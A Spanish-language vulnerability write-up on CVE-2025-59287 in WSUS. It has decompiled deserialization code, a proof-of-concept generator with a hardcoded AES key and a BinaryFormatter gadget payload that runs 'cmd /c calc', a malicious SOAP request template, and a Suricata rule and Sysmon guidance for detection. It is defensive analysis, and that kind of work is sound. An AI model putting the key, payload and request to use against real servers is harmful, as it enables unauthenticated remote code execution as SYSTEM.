CVE-2025-59287: La vulnerabilidad de deserialización en WSUS
Tiempo estimado de lectura: 8 minutos
Dificultad técnica: Alta
Conclusiones clave
- La vulnerabilidad CVE-2025-59287 permite a un atacante no autenticado ejecutar código de forma remota en servidores WSUS.
- Las solicitudes maliciosas pueden desencadenar una deserialización insegura mediante el uso de payloads específicos en solicitudes SOAP.
- Microsoft lanzó un parche de emergencia para mitigar los riesgos el 23 y 24 de octubre de 2025.
- Se recomienda a los administradores de sistemas implementar controles de seguridad adecuados y monitorear el tráfico hacia WSUS.
Índice
- Descripción de la vulnerabilidad
- Fechas clave
- Detalles técnicos de la vulnerabilidad
- Detección práctica e IOCs
Descripción de la vulnerabilidad
La vulnerabilidad CVE-2025-59287 representa una deserialización insegura en el servicio de Windows Server Update Services (WSUS). Esta falla permite a un atacante no autenticado, a través de solicitudes dirigidas al endpoint de WSUS, desencadenar la deserialización de datos malformados, logrando así ejecución remota con los privilegios del servicio.
Fechas clave
- 14 de octubre de 2025: NVD publica la entrada del CVE (CWE-502, deserialización).
- 18 de octubre de 2025: HawkTrace presenta su análisis técnico.
- 20-23 de octubre de 2025: Proveedores y equipos de CTI emiten alertas.
- 23-24 de octubre de 2025: Microsoft lanza un parche OOB para WSUS.
- 24 de octubre de 2025 en adelante: Equipos como Huntress comienzan a reportar observaciones de explotación en el entorno.
Detalles técnicos de la vulnerabilidad
La vulnerabilidad reside en la forma en que WSUS maneja ciertas entradas externas (solicitudes SOAP/HTTP). En este contexto, WSUS recibe datos que incluyen objetos serializados. A través de un análisis del flujo de ejecución, se observa que cuando el usuario envía una solicitud, se procesa mediante el método GetCookie:
public Cookie GetCookie (AuthorizationCookie[] authCookies, Cookie oldCookie, DateTime lastChange, DateTime currentTime, string protocolVersion) {
if (Client.clientImplementation == null) {
Client.CreateClientImplementation();
}
string ipaddress = this.GetIPAddress();
return Client.clientImplementation.GetCookie(authCookies, oldCookie, lastChange, currentTime, protocolVersion, ipaddress);
}
Este método lleva a cabo diversas operaciones, incluyendo la verificación de si la cookie está vacía y la validación de la versión del protocolo. El flujo continúa hacia el método DecryptData, donde ocurre la deserialización potencialmente insegura.
internal object DecryptData (byte[] cookieData) {
if (cookieData == null) {
throw new LoggedArgumentNullException("cookieData");
}
ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
byte[] array;
try {
if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize) {
throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData");
}
array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0);
cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
} finally {
cryptoTransform.Dispose();
}
object obj = null;
if (this.classType == typeof(UnencryptedCookieData)) {
UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
try {
unencryptedCookieData.Deserialize(array);
} catch (Exception ex) {
if (ex is OutOfMemoryException) {
throw;
}
throw new LoggedArgumentException(ex.ToString(), "cookieData");
}
obj = unencryptedCookieData;
} else {
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(array);
try {
obj = binaryFormatter.Deserialize(memoryStream);
} catch (Exception ex2) {
if (ex2 is OutOfMemoryException) {
throw;
}
throw new LoggedArgumentException(ex2.ToString(), "cookieData");
}
if (obj.GetType() != this.classType) {
throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData");
}
}
return obj;
}
Este método muestra los riesgos de deserialización en la ejecución de código. Un código de ejemplo para generar un payload se puede ver a continuación:
static void Main() {
//clave
string hexKey = "877C14E433638145AD21BD0C17393071";
byte[] key = new byte[16];
for (int i = 0; i < 16; i++)
key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);
string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=";
byte[] ser = Convert.FromBase64String(ysooo);
byte[] enc = EncryptPayload(ser, key);
string base64Payload = Convert.ToBase64String(enc);
Console.WriteLine(base64Payload);
}
Este código genera un objeto serializado que, al ser descifrado y deserializado por el servidor vulnerable, ejecutará código arbitrario a través de una cadena de gadgets. Un ejemplo de la solicitud maliciosa está a continuación:
POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632
SimpleTargeting
[GENERATED PAYLOAD]
1.20
Este conjunto de vulnerabilidades y comportamientos permite a un atacante ejecutar código remoto con privilegios de SYSTEM sin la debida validación. Los administradores de WSUS deberían considerar medidas preventivas y parches de seguridad para mitigar estos riesgos en sus entornos.
Detección práctica e IOCs
Detección de tráfico en red / IIS
Busca solicitudes POST hacia /ClientWebService/Client.asmx con el SOAPAction: GetCookie y CookieData que, al ser decodificados en Base64, comiencen con AAEAAAD///// o contengan /c ....
Regla Suricata sugerida:
alert http any any -> $HOME_NET 8530 (msg:"WSUS - posible payload de BinaryFormatter (calc)"; flow :to_server,established; http.method ; content : "/ClientWebService/Client.asmx" ; http.header ; content : "GetCookie" ; pcre: "/CookieData>[^<]*AAEAAAD/////|/c calc/i" ; sid: 1003001 ; rev: 1 ;)
Detección de ejecución en host (Sysmon/EventID)
Utiliza:
- Sysmon EventID 1 (Creación de proceso): para identificar procesos
cmd.exeocalc.exeque sean generados...
